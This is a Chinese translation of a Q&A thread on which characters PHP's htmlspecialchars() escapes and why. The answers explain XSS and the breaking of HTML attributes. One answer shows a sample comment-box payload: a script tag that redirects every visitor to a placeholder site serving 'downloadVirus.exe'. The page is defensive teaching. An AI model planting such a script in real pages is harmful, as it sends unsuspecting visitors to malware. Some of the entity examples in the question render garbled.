为什么将这5(6?)个字符视为“不安全” HTML字符?

Ped*_*o A 3 html escaping code-injection javascript-injection html-injections

在PHP中,有一个名为htmlspecialchars()的函数,该函数对字符串执行以下替换:

  • & (与号)转换为 &
  • " (双引号)转换为 "
  • '(单引号)转换为'(仅当设置了标志ENT_QUOTES时)
  • < (小于)转换为 &lt;
  • > (大于)转换为 &gt;

显然,这样做是基于这5个特定字符是不安全的HTML字符

我可以理解为什么最后两个不安全:如果将它们简单地“回显”,则可以交付任意/危险的HTML,包括可能带有<script>这些内容的javascript 。

问题1.为什么前三个字符(“&”号,双引号,单引号)也被视为“不安全”?


另外,我偶然发现了GitHub上的这个名为“ he”的库(由Mathias Bynens撰写),该库与编码/解码HTML实体有关。在那里,我发现了以下内容:

在HTML内容(&,<,>,“,”和“)中不安全使用的[...]字符将被编码。[...]

来源

问题2.是否有充分的理由考虑反引号另一个不安全的HTML字符?如果是,这是否意味着上述PHP函数已过时?


最后,所有这些都引出了一个问题:

问题3.除了上面提到的那些5/6字符以外,还有其他不应该认为是“不安全”的字符吗?

Col*_*inD 5

Donovan_D的答案几乎可以解释这一点,但是在这里我将提供一些示例,说明这些特定字符如何特别引起问题。

这些字符被认为是不安全的,因为它们是执行XSS(跨站点脚本)攻击(或无意输入而意外破坏页面)的最明显方法。

考虑网站上的评论功能。您提交带有文本区域的表单。它被保存到数据库中,然后在所有访问者的页面上显示。

现在我总结一个看起来像这样的评论。

<script type="text/javascript">
    window.top.location.href="http://www.someverybadsite.website/downloadVirus.exe";
</script>
Run Code Online (Sandbox Code Playgroud)

突然,所有访问您页面的人都被重定向到病毒下载。这里的幼稚方法只是说,好吧,让我们过滤掉该攻击中的一些重要角色:

<并且>将被替换为&lt;&gt;现在突然我们的脚本是不是一个脚本。这只是一些看起来像html的文本。

出现类似情况,并出现如下评论

Something is <<wrong>> here.
Run Code Online (Sandbox Code Playgroud)

假设用户<<...>>出于某种原因曾经强调过。他们的评论将是

这里是<>。

显然不是可取的行为。

出现的恶意程度较小&&用来表示HTML实体,如&amp;&quot;&lt;等,所以它很容易为无辜的前瞻性文本意外是一个HTML实体,并最终看起来很不同,很奇怪的用户。

考虑评论

I really like #455 &#243; please let me know when they're available for purchase.
Run Code Online (Sandbox Code Playgroud)

这将被呈现为

我真的很喜欢#455ó当他们可以购买时,请告诉我。

显然不是预期的行为。

关键是,这些符号在大多数情况下被认为是防止大多数XSS漏洞/错误的关键,因为它们很可能用于有效输入中,但需要转义以正确地以HTML呈现。

关于您的第二个问题,我个人不知道应该将反引号视为不安全的HTML字符。

至于你的第三个,也许。不要依赖黑名单来过滤用户输入。而是使用已知的OK输入的白名单并从那里开始工作。

  • 上下文就是一切。“ htmlspecialchars()” PHP函数只是用于转义在HTML文档(该HTML文档中的任何位置)中可能具有特殊含义的字符的通用函数。这不仅是为了使输出“安全”。实际上,PHP文档没有引用“不安全”字符。在文本正文中使用引号是完全可以的,但是在HTML属性中使用引号时,输出可能会中断输出(但前提是使用相同的引号来分隔属性)。如果要解析Markdown的输出,则反引号可能会出现问题。_上下文很重要_。 (3认同)
  • 也许。我非常不愿意直接说“不”。还有更多详细信息可以在这里查看https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet。最明显的问题是,如果您接受用户输入并将其拍打成一个属性,则显然引号会造成损害并逃避该属性本身。例如,允许用户输入图像标题并在img标签的title属性中使用它,用户可能会通过中断引号来更改img标签的src属性。 (2认同)